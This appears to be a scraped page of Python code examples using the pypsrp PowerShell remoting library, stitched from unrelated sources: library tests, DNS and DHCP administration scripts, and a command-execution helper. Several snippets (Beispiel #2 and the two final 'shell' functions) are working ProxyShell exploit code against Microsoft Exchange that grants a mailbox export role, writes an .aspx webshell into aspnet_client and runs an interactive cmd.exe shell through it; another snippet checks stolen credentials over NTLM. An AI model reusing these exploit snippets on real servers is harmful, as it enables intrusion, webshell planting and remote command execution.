Beispiel #1
0
    def test_psrp(self, functional_transports):
        for wsman in functional_transports:
            with RunspacePool(wsman) as pool:
                pool.exchange_keys()
                ps = PowerShell(pool)
                ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows")
                ps.add_statement()

                sec_string = pool.serialize(u"super secret", ObjectMeta("SS"))
                ps.add_cmdlet("Set-Variable")
                ps.add_parameter("Name", "password")
                ps.add_parameter("Value", sec_string)

                ps.add_statement().add_script(
                    "[System.Runtime.InteropServices.marshal]"
                    "::PtrToStringAuto([System.Runtime.InteropServices.marshal]"
                    "::SecureStringToBSTR($password))")
                ps.add_statement().add_cmdlet("ConvertTo-SecureString")
                ps.add_parameter("String", "host secret")
                ps.add_parameter("AsPlainText")
                ps.add_parameter("Force")

                large_string = "hello world " * 3000
                ps.add_statement()
                ps.add_script("$VerbosePreference = 'Continue'; "
                              "Write-Verbose '%s'" % large_string)

                actual = ps.invoke()

            assert ps.had_errors is False
            assert len(actual) == 3
            assert str(actual[0]) == "C:\\Windows"
            assert actual[1] == u"super secret"
            assert actual[2] == u"host secret"
            assert str(ps.streams.verbose[0]) == large_string
Beispiel #2
0
def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
    logger.debug("[Stage 4] Dealing with WSMV")
    wsman = WSMan(server=target, port=443,
    path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', 
    ssl="true", 
    cert_validation=False)
    logger.debug("[Stage 4] Dealing with PSRP")
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        logger.debug("[Stage 4] Assign Management Role")
        ps = PowerShell(pool)
        #ps.add_cmdlet("Get-User")
        ps.add_cmdlet("New-ManagementRoleAssignment")
        ps.add_parameter("Role", "Mailbox Import Export")
        ps.add_parameter("SecurityGroup", "Organization Management")
        output = ps.invoke()
        
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Exporting MailBox as Webshell")
        ps = PowerShell(pool)
        ps.add_cmdlet("New-MailboxExportRequest")
        ps.add_parameter("Mailbox", alias_name)
        ps.add_parameter("Name", subject)
        ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
        ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
        output = ps.invoke()
        logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Cleaning Notification")
        ps = PowerShell(pool)
        ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
        output = ps.invoke()
Beispiel #3
0
    def failfast(self):
        all_zones, bad_zones = ([] for i in range(2))
        # Create combined list of all forward and reverse zones
        for csv_dict in self.csv_dns_fw_dm:
            for zone in csv_dict.keys():
                all_zones.append(zone)
        for csv_dict in self.csv_dns_rv_dm:
            for zone in csv_dict.keys():
                all_zones.append(zone)

    # Interate through all zones and see if exist on DNS server
        for zone in all_zones:
            with RunspacePool(self.wsman_conn) as pool:
                print('-', zone)
                ps = PowerShell(pool)
                # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
                ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerZone {}".format(zone))
                ps.add_cmdlet("Out-String").add_parameter("Stream")
                ps.invoke()
                dns_zones = ps.output

            if len(dns_zones) == 0:
                bad_zones.append(zone)
        # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit)
        if len(bad_zones) != 0:
            return '!!! Error - The following zones dont exist on the DNS server: \n{}'.format(bad_zones)
Beispiel #4
0
    def get_entries(self):
        dhcp_dm = []
        # On a per-scope gets all the current DHCP addresses that will then be compared to those in the CSV
        for csv_dict in self.csv_dhcp_dm:
            for scope in csv_dict.keys():
                # Get list of all reservations in the scope
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
                    ps.add_cmdlet("Invoke-Expression").add_parameter(
                        "Command",
                        "Get-DhcpServerv4Reservation -scopeid {}".format(
                            scope))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dhcp_reserv = ps.output[
                        3:-2]  # Elimates headers and blank lines

                # From the ps output create a DHCP DM of scope: [[IP], [mac], [name], [(IP, MAC, name)]]
                ip_name_mac = []
                if len(dhcp_reserv
                       ) == 0:  # skips if no DHCP reservations in the scope
                    pass
                else:
                    for r in dhcp_reserv:
                        ip_name_mac.append(
                            (r.split()[0], r.split()[3][:17].lower(),
                             r.split()[2].lower()))
                    dhcp_dm.append({scope: ip_name_mac})
        return dhcp_dm
Beispiel #5
0
    def deploy_csv(self, type, temp_csv, win_dir):
        # Copy the new CSV File onto DHCP server, script will fail if it cant
        try:
            self.client_conn.copy(temp_csv, win_dir)
        except Exception as e:  # If copy fails script fails
            print(
                "!!! Error - Could not copy CSV file to DHCP server, investigate the below error before re-running the script.\n{}"
                .format(e))
            exit()

        # Add or remove DHCP entries dependant on the value of the variable 'type'
        with RunspacePool(self.wsman_conn) as pool:
            ps = PowerShell(pool)
            if type == 'add':
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(
                    win_dir)).add_cmdlet("Add-DhcpServerv4Reservation")
            elif type == 'remove':
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(
                    win_dir)).add_cmdlet("Remove-DhcpServerv4Reservation")
            ps.invoke()
        output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]

        # Cleanup temp files
        os.remove(temp_csv)
        try:
            self.client_conn.execute_cmd("del {}".format(
                win_dir.replace(
                    "/", "\\")))  # Windows wont take / format with the cmd
        except Exception as e:  # If delete fails warns user
            print(
                "!!! Warning - Could not delete temporary file {} off DHCP server, you will have to do manually.\n{}"
                .format(win_dir, e))

        return output
def main(host, username, password, command):
    wsman = WSMan(host,
                  username=username,
                  password=password,
                  cert_validation=False)

    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_cmdlet(command)
        ps.invoke()

        print(ps.output[0])
Beispiel #7
0
def check_creds(host, username, password, domain):
    has_access = False
    try:
        username = '******' % (domain, username)
        wsman = WSMan(host,
                      username=username,
                      password=password,
                      ssl=False,
                      auth='ntlm')
        with RunspacePool(wsman) as pool:
            ps = PowerShell(pool)
            ps.add_cmdlet('Invoke-Expression')\
                .add_parameter('Command', 'whoami')
            ps.begin_invoke()
            while ps.output is None or ps.output == '':
                ps.poll_invoke()
            ps.end_invoke()
            if len(ps.output) > 0:
                has_access = True
    except:
        has_access = False
    return has_access
Beispiel #8
0
    def test_psrp_jea(self, functional_transports):
        for wsman in functional_transports:
            with RunspacePool(wsman, configuration_name="JEARole") as pool:
                ps = PowerShell(pool)
                wsman_path = "WSMan:\\localhost\\Service\\AllowUnencrypted"
                ps.add_cmdlet("Get-Item").add_parameter("Path", wsman_path)
                ps.add_statement()
                ps.add_cmdlet("Set-Item").add_parameters({
                    "Path": wsman_path,
                    "Value": "True"
                })
                actual = ps.invoke()

            assert ps.had_errors is True
            assert len(actual) == 1
            assert actual[0].property_sets[0].adapted_properties['Value'] == \
                'false'
            assert str(ps.streams.error[0]) == \
                "The term 'Set-Item' is not recognized as the name of a " \
                "cmdlet, function, script file, or operable program. Check " \
                "the spelling of the name, or if a path was included, " \
                "verify that the path is correct and try again."
Beispiel #9
0
    def failfast(self):
        bad_scopes = []
        for csv_dict in self.csv_dhcp_dm:
            for scope in csv_dict.keys():
                print('-', scope)
                # Get list of all reservations in the scope
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
                    ps.add_cmdlet("Invoke-Expression").add_parameter(
                        "Command",
                        "Get-DhcpServerv4Scope -scopeid {}".format(scope))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dhcp_reserv = ps.output

                if len(dhcp_reserv) == 0:
                    bad_scopes.append(scope)
        # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit)
        if len(bad_scopes) != 0:
            return '!!! Error - The following scopes dont exist on the DHCP server: \n{}'.format(
                bad_scopes)
Beispiel #10
0
    def execute_ps(
        self,
        script: str,
        configuration_name: str = DEFAULT_CONFIGURATION_NAME,
        environment: typing.Optional[typing.Dict[str, str]] = None,
    ) -> typing.Tuple[str, PSDataStreams, bool]:
        """
        Executes a PowerShell script in a PowerShell runspace pool. This uses
        the PSRP layer and is designed to run a PowerShell script and not a
        raw executable.

        Because this runs in a runspace, traditional concepts like stdout,
        stderr, rc's are no longer relevant. Instead there is a output,
        error/verbose/debug streams, and a boolean that indicates if the
        script execution came across an error. If you want the traditional
        stdout/stderr/rc, use execute_cmd instead.

        :param script: The PowerShell script to run
        :param configuration_name: The PowerShell configuration endpoint to
            use when executing the script.
        :param environment: A dictionary containing environment keys and
            values to set on the executing script.
        :return: A tuple of
            output: A unicode string of the output stream
            streams: pypsrp.powershell.PSDataStreams containing the other
                PowerShell streams
            had_errors: bool that indicates whether the script had errors
                during execution
        """
        log.info("Executing PowerShell script '%s'" % script)
        with RunspacePool(self.wsman,
                          configuration_name=configuration_name) as pool:
            powershell = PowerShell(pool)

            if environment:
                for env_key, env_value in environment.items():
                    # Done like this for easier testing, preserves the param order
                    log.debug("Setting env var '%s' on PS script execution" %
                              env_key)
                    powershell.add_cmdlet("New-Item").add_parameter(
                        "Path",
                        "env:").add_parameter("Name", env_key).add_parameter(
                            "Value", env_value).add_parameter(
                                "Force",
                                True).add_cmdlet("Out-Null").add_statement()

            # so the client executes a powershell script and doesn't need to
            # deal with complex PS objects, we run the script in
            # Invoke-Expression and convert the output to a string
            # if a user wants to get the raw complex objects then they should
            # use RunspacePool and PowerShell directly
            powershell.add_cmdlet("Invoke-Expression").add_parameter(
                "Command", script)
            powershell.add_cmdlet("Out-String").add_parameter("Stream")
            powershell.invoke()

        return "\n".join(
            powershell.output), powershell.streams, powershell.had_errors
Beispiel #11
0
    def execute_ps(self, script):
        """
        Executes a PowerShell script in a PowerShell runspace pool. This uses
        the PSRP layer and is designed to run a PowerShell script and not a
        raw executable.

        Because this runs in a runspace, traditional concepts like stdout,
        stderr, rc's are no longer relevant. Instead there is a output,
        error/verbose/debug streams, and a boolean that indicates if the
        script execution came across an error. If you want the traditional
        stdout/stderr/rc, use execute_cmd instead.

        :param script: The PowerShell script to run
        :return: A tuple of
            output: A unicode string of the output stream
            streams: pypsrp.powershell.PSDataStreams containing the other
                PowerShell streams
            had_errors: bool that indicates whether the script had errors
                during execution
        """
        log.info("Executing PowerShell script '%s'" % script)
        with RunspacePool(self.wsman) as pool:
            powershell = PowerShell(pool)

            # so the client executes a powershell script and doesn't need to
            # deal with complex PS objects, we run the script in
            # Invoke-Expression and convert the output to a string
            # if a user wants to get the raw complex objects then they should
            # use RunspacePool and PowerShell directly
            powershell.add_cmdlet("Invoke-Expression").add_parameter("Command",
                                                                     script)
            powershell.add_cmdlet("Out-String").add_parameter("Stream")
            powershell.invoke()

        return "\n".join(powershell.output), powershell.streams, \
               powershell.had_errors
Beispiel #12
0
    def get_entries(self):
        dns_fw_dm, dns_rv_dm = ([] for i in range(2))

        # On a per-zone basis gets all the current DNS entries that will then be compared to those in the CSV
        for csv_dns_fw in self.csv_dns_fw_dm :
            for domain in csv_dns_fw.keys():
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    # The powershell cmd is "Get-DnsServerResourceRecord -ZoneName stesworld.com -RRType A"
                    ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType A".format(domain))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dns_fw_records = ps.output

                # From the ps output create a list for the dns_fw DM dict value [('ip', 'name', ttl)]
                ip_name_ttl = []
                if len(dns_fw_records) == 0:                # skips if no A records in the zone
                    pass
                else:
                    for a in dns_fw_records[3:-2]:          # Elimates headers and trailing blank lines
                        a = a.split()
                        ip_name_ttl .append((a[-1], a[0].lower(), a[-2]))
                    # Add the list as the value for for a dict where the zone name is the key [{fw_zone: [(ip, name, ttl)]}]
                    dns_fw_dm.append({domain: ip_name_ttl})

        # On a per-reverse-zone basis gets all the current DNS entries that will then be compared to those in the CSV
        for csv_dns_rv in self.csv_dns_rv_dm:
            for rev_zone in csv_dns_rv.keys():
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType PTR".format(rev_zone))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dns_rv_records = ps.output

                hst_name = []
                if len(dns_rv_records) == 0:    # skips if no PTR records in the zone
                    pass
                else:
                    for ptr in dns_rv_records[3:-2]:
                        ptr = ptr.split()
                        hst_name.append((ptr[0], ptr[-1].lower()))
                dns_rv_dm.append({rev_zone: hst_name})      # creates DM where rv_zone name is the key [{rv_zone: [(host, domain_name)]}]

        return [dns_fw_dm, dns_rv_dm]
Beispiel #13
0
    def deploy_csv(self, type, temp_csv, win_dir):
        win_dir1 = win_dir.replace(".csv", "1.csv")              # Extra temp file required for removing DNS RV entries
        self.num_new_entries = str(self.num_new_entries) + '/' + str(self.num_new_entries)      # To make it A/PTR records, should be same as deployed in the 1 cmd
        # Copy the new CSV File onto DHCP server, script will fail if it cant
        try:
            self.client_conn.copy(temp_csv, win_dir)
            if type == 'remove':
                self.client_conn.copy(self.temp_csv1, win_dir1)
        except Exception as e:              # If copy fails script fails
            print("!!! Error - Could not copy CSV file to DNS server, investigate the below error before re-running the script.\n{}".format(e))
            exit()

        # Add DNS entries
        if type == 'add':
            with RunspacePool(self.wsman_conn) as pool:
                ps = PowerShell(pool)
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Add-DNSServerResourceRecordA").add_parameter("-CreatePtr")
                ps.invoke()
            output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]

        # Remove DNS entries, have to spilt into multiple cmds due to bug with "Remove-DNSServerResourceRecord" where cant use RRtype from CSV
        elif type == 'remove':
            with RunspacePool(self.wsman_conn) as pool:
                ps = PowerShell(pool)
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "A").add_parameter("-Force")
                ps.invoke()
            output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]      # adds the errors as lists so can add outputs from next cmd
            with RunspacePool(self.wsman_conn) as pool:
                ps = PowerShell(pool)
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir1)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "PTR").add_parameter("-Force")
                ps.invoke()
            output[1].append(ps.had_errors)
            output[2].append(ps.streams.error)

        # Cleanup temp files
        try:
            os.remove(temp_csv)
            self.client_conn.execute_cmd("del {}".format(win_dir.replace("/", "\\")))      # Windows wont take / format with the cmd
            if type == 'remove':
                os.remove(self.temp_csv1)
                self.client_conn.execute_cmd("del {}".format(win_dir1.replace("/", "\\")))      # Windows wont take / format with the cmd
        except Exception as e:              # If delete fails warns user
            print("!!! Warning - Could not delete temporary files off DNS server, you will have to do manually.\n{}".format(e))

        return output
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
        

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet(
                'New-MailboxExportRequest'
            ).add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter(
                'IncludeFolders', '#Drafts#'
            ).add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
            )
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()
                    
                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(
                            shell_url,
                            params={
                                'exec_code':exec_code
                            },
                            verify=proxyshell.session.verify
                        )
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()
    powershell_url = f'/Powershell?X-Rps-CAT={proxyshell.token}'
    suffix = f'&Email=autodiscover/autodiscover.json%3F{proxyshell.rand_email_split}'
    path = f'autodiscover/autodiscover.json?{proxyshell.rand_email_split}{powershell_url}{suffix}'

    wsman = WSMan(proxyshell.exchange_url.replace("https://", ""),
                  path=path,
                  ssl="true",
                  port=443,
                  cert_validation=False)
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)
            #New-MailboxExportRequest might fail. Use New-ExchangeCertificate to get RCE

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter(
                'Role',
                'Mailbox Import Export').add_parameter('User',
                                                       proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet('New-MailboxExportRequest').add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath',
                f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter('IncludeFolders', '#Drafts#').add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\'')
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()

                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(shell_url,
                                         params={'exec_code': exec_code},
                                         verify=proxyshell.session.verify)
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))